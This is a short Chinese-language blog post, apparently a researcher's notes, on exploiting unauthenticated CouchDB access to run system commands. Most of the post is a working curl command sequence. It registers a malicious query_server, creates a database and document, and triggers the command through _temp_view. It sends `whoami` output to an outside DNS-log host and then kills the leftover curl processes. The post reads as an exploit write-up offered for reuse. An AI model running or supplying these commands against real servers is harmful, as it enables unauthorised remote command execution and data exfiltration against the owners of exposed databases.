标签 命令执行 下的文章

Couchdb未授权访问可执行系统命令(利用cloudeye神器回显)


前几天booooom在群里发了个couchdb执行系统命令的word
学习了一下,记录下

新增query_server配置,这里执行curl+回显whoami命令

Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"curl couchdb.334cf9.dnslog.info/?whoami=`whoami`"'

新建一个临时表,插入一条记录

curl -X PUT 'http://xx.xx.xxx.xx:5984/testdb'
curl -X PUT 'http://xx.xx.xxx.xx:5984/testdb/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

图片1.png

调用query_server处理数据

curl -X POST 'http://xx.xx.xxx.xx:5984/testdb/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

调用之后,一直在请求,我直接提前结束请求了,因为我要去执行pkill命令k掉curl进程...不然会一直请求...会产生很多日志...
请求.png

因为执行之后curl命令也会在后台一直请求,所以要K掉

Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"pkill -9 curl"'

k掉进程.png

最后效果如下

最后效果如下.png

后面跟大表哥@Salime讨论了很久,发现新建表不能写入特殊符号,以及插入数据不可控,所以不可控,导致不能回显,或者说暂时没有找到很好的回显办法,现在只能算是隐式命令执行...如果你有好的办法回显结果,可以评论或者加我qq934817794聊聊...